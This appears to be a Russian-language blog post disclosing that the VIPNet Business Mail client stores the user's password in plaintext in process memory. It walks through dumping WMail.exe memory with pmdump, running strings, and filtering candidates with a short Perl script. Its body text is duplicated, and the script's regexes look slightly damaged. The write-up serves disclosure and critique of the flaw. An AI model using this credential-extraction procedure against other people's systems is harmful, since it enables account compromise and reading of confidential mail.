Есть такая компания - Infotecs , у нее есть продукт - VIPNet [Клиент] [Деловая почта]. Суть продукта в том, что он сертифицированным образом защищает конфиденциальную переписку: сообщения шифруются на ГОСТовой криптографии, да и сам продукт имеет сертификат ФСТЭК.
Аутентификация пользователя в Деловой почте осуществляется по паролю, но, для осуществления криптографических махинаций с сообщениями, конечно, используются ключи, которые лежат в виде файлов в профиле пользователя.
В целом, знание пароля позволят полностью компрометировать Деловую почту.
Обычно делают так: где-то хранится хеш пароля. Пользователь, аутентифицируясь вводит пароль в какую-то форму, форма его подхватывает, вычисляет хеш, сравнивает с хранимым: совпал - пускает, не совпал - не пускает. Пароль в открытом виде нигде не хранится - это много где требуется, в частности в NIST SP 800-53 (любая ревизия).
Но в случае Деловой почты было замечено следующее: всякий раз после установки обновлений, приложение перегружается. Причем, при повторном запуске - пароль не спрашивается! Немного подумав, можно прийти к выводу, что пароль где-то хранится в открытом виде, очевидно, в памяти.
Проверяем:
1. Запускаем Деловую почту, успешно туда аутентифицируется. В эксперименте используется вот такая версия:
2. Смотрим PID у приложения WMail.exe.
3. Берем утилитку pmdump .exe и дампим память процесса в файл:
pmdump.exe 5196 WMail.exe-2.pmdump
где 5196 - PID процесса WMail.exe в моем случае.
4. В дампе с ужасом находим свой пароль в открытом виде:
В целом этого достаточно, чтобы понять, что сделать mimikatz для Деловой почты - дело техники.
Если дамп большой, можно облегчить себе работу используя strings:
strings -n 9 WMail.exe-2.pmdump >WMail.exe-2.strings
Результат strings-а можно еще немного обработать, что сократит количество того, что может быть похоже на пароль (известно, что его длина ровно 9 символов, там нет цифр, пробелов, он состоит из начал русских слов, записанных в английской раскладке, используется только нижний регистр):
type WMail.exe-2.strings | proc.pl 1>stdout.txt 2>stderr.txt
Где proc.pl:
Из ситуации два очевидных (но важных!) следствия:
1. Сертифицированное ФСТЭК решение не значит безопасное. В конкретном случае - грубая архитектурная уязвимость .
2. Если уж по-настоящему играть в сертифицированность, то сертифицированное приложение должно стоять на сертифицированной ОС, которая должна быть установлена на сертифицированном железе. Очевидно, что на практике этого нет, поэтому и получается, что легко доверенное приложение компрометировать через недоверенную ОС (что, собственно, здесь и сделали), а последнее - через недоверенное железо. Причем, железные закладки, последнее время, - модная тема, вот, например, хорошая презентация от Джонатана Броссарда .
Аутентификация пользователя в Деловой почте осуществляется по паролю, но, для осуществления криптографических махинаций с сообщениями, конечно, используются ключи, которые лежат в виде файлов в профиле пользователя.
В целом, знание пароля позволят полностью компрометировать Деловую почту.
Обычно делают так: где-то хранится хеш пароля. Пользователь, аутентифицируясь вводит пароль в какую-то форму, форма его подхватывает, вычисляет хеш, сравнивает с хранимым: совпал - пускает, не совпал - не пускает. Пароль в открытом виде нигде не хранится - это много где требуется, в частности в NIST SP 800-53 (любая ревизия).
Но в случае Деловой почты было замечено следующее: всякий раз после установки обновлений, приложение перегружается. Причем, при повторном запуске - пароль не спрашивается! Немного подумав, можно прийти к выводу, что пароль где-то хранится в открытом виде, очевидно, в памяти.
Проверяем:
1. Запускаем Деловую почту, успешно туда аутентифицируется. В эксперименте используется вот такая версия:
2. Смотрим PID у приложения WMail.exe.
3. Берем утилитку pmdump .exe и дампим память процесса в файл:
pmdump.exe 5196 WMail.exe-2.pmdump
где 5196 - PID процесса WMail.exe в моем случае.
4. В дампе с ужасом находим свой пароль в открытом виде:
Если дамп большой, можно облегчить себе работу используя strings:
strings -n 9 WMail.exe-2.pmdump >WMail.exe-2.strings
Результат strings-а можно еще немного обработать, что сократит количество того, что может быть похоже на пароль (известно, что его длина ровно 9 символов, там нет цифр, пробелов, он состоит из начал русских слов, записанных в английской раскладке, используется только нижний регистр):
type WMail.exe-2.strings | proc.pl 1>stdout.txt 2>stderr.txt
Где proc.pl:
my $c=0;
my %r = ();
while(<STDIN>){
s/^s+//;s/s+$//;
if(/^S+$/ && /^D+$/ && (length($_)==9)
&& /^[f,dult`;pbqrkvyjghcnea[wxio]sm'.z]+$/ #Russian word
&& $_ == lc($_) #No register
){
print "$_
";
$r{$_}++;
$c++;
}
}
print STDERR "found $c lines
";
foreach ( sort {$r{$b} <=> $r{$a}} keys %r){
print STDERR "$_tt".$r{$_}."
";
}
Из ситуации два очевидных (но важных!) следствия:
1. Сертифицированное ФСТЭК решение не значит безопасное. В конкретном случае - грубая архитектурная уязвимость .
2. Если уж по-настоящему играть в сертифицированность, то сертифицированное приложение должно стоять на сертифицированной ОС, которая должна быть установлена на сертифицированном железе. Очевидно, что на практике этого нет, поэтому и получается, что легко доверенное приложение компрометировать через недоверенную ОС (что, собственно, здесь и сделали), а последнее - через недоверенное железо. Причем, железные закладки, последнее время, - модная тема, вот, например, хорошая презентация от Джонатана Броссарда .
